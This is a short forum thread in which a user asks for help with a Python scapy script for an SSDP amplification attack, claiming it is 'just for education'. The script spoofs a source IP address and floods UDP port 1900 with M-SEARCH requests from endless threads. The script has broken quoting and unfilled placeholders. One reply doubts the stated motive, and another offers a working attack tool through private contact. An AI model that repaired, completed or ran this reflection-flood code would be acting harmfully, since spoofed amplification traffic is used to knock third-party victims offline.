Thread: [SSDP amplification program](#)

kyisoethin - June 20, 2016, 3:54 am

I want to learn how to program ssdp amplification attack

Just for education.

I send ssdp message to window 8 with my code. The code is as follow. But nothing reply.

Code from scapy.all import *

from threading import *

import sys

import os

class ready(Thread):

def __init__(self, threadid, data):

Thread.__init__(self)

self.threadid = threadid

self.data = data

def run(self):

while 1:

send(IP(dst=sys.argv[2], src=sys.argv[3])/UDP(sport=1900, dport=1900)/Raw(load=self.data))

if(__name__=="__main__"):

sendthread=[]

data="M-SEARCH * HTTP/1.1\r\n"+"ST:%(library)s:%(service)s\r\n"+"MX: 3\r\n"+"MAN:
\'ssdp:discover\'"\r\n"+"HOST:239.255.255.250:1900\r\n\r\n"

for i in range(1, int(sys.argv[1])+1):

sendthread.append(ready(i, data))

sendthread[i-1].start()

Please help me

"just for education".

Also, why does this have to be your first post? And likely your last, seeing as how this was posted yesterday.

Because he is new at forum.

I have ssdp attacker but it's not python u must contact me.
